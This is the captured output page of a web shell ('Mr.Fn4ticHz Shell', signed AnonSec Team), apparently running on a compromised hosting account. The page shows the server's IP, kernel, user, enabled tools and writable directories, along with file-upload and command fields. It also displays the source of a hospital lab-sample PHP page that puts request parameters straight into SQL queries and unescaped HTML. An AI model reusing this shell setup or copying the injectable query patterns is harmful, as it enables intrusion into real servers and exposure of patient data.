Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.145.52.224
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/lab_create_sample.php
<?php session_start();
require_once("../patientmanager.php");
require_once("../DBManager.php");
include("dbconnection.php");
include("header.php");
include 'menu.php';
if(isset($_POST[sample]))
	{
		PatientManager::CollectSample("$_POST[ivid]","$_POST[prescriptionid]","$_POST[patientid]","$_POST[patientname]","$_POST[Investigation_des]","$_POST[Specimen_type]","$_POST[Container_Number]","$_POST[enteredby]");
	 }
$DisplayForm=True;
	$sql ="SELECT * FROM investigation WHERE  patientid='$_GET[patientid]' And Investigation_type='Pathology' AND id='$_GET[id]'";
		$qsql = mysqli_query($con,$sql);
		while($rsi = mysqli_fetch_array($qsql))
		{
		$sql ="SELECT * FROM Collect_Sample WHERE Container_Number='$rsi[id]'";
		$qsql = mysqli_query($con,$sql);
		if($rh = mysqli_fetch_array($qsql))
		{
$DisplayForm=False;
echo "<script>window.location='show_collectsample.php?Container_Number='$rsi[id]'</script>";
}
}
if($DisplayForm)
{
?>
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
  <form name="sample" method="post">
		<?php
		require_once("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
		       $narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
 $sql ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
{
		  	$sql1 ="SELECT * FROM investigation WHERE id='$_GET[id]' AND hospital_id='$rs[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rsi = mysqli_fetch_array($qsql1))
		{
		$sql ="SELECT * FROM patient WHERE patientid='$rsi[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rsp = mysqli_fetch_array($qsql))
		{
		  echo"
		  
		  <input type='hidden'  name='ivid'  id='ivid' value='$rsi[ivid]' readonly>
				<label>UHID</label>
				<input type='text'  name='patientid'  id='patientid' value='$rsp[patientid]' readonly>
			
				<label>Patient Name</label>
				<input type='text'  name='patientname' id='patientid' value='$rsp[patientname]' readonly>
			
				<label>Investigation</label>
				 ";
 if (is_numeric($rsi[ivid]))
{
$sql1 ="SELECT * FROM list_Investigation WHERE ivid='$rsi[ivid]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
echo"<input type='text' placeholder='Investigation type' value='$rs1[Investigation]' name='Investigation_des' id='Investigation' readonly>";
}
else
{
    echo"$rsi[ivid]";
    }
    echo"
				<label>Specimen type </label>
			<select name='Specimen_type'>
			<option value='' disabled selected>Specimen type </option>
			<option value='Blood'>Blood </option>
				<option value='Urine'>Urine </option>
					<option value='stool'>stool </option>
						<option value='sputum'>sputum</option>
								<option value='Throat swab'>Throat swab</option>
								<option value='serum'>serum</option>
								<option value='plasma'>plasma</option>
									<option value='Slit skin smear'>Slit skin smear</option>
										<option value='Pus'>Pus</option>
			</select>
	    		
	    <label>Container Number </label>
	    <input type='text' value='$rsi[id]' placeholder='Container Number'  name='Container_Number'>
	    ";
	    	$sql ="SELECT * FROM create_inhouse WHERE ivid='$_GET[ivid]' AND hospitalid='$rs[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		while($rsi3 = mysqli_fetch_array($qsql))
	    {
	        echo"
	   
	       <label>Price </label>
	    <input type='text' value='$rsi3[rate]'>
	    ";
	    }
	    echo"
	    <input type='submit' name='sample' value='Sample Collect'>
	   
	    ";
		}
		}
}
		?> 
		<?php
}
?>
 </form>
		

Anon7 - 2022
AnonSec Team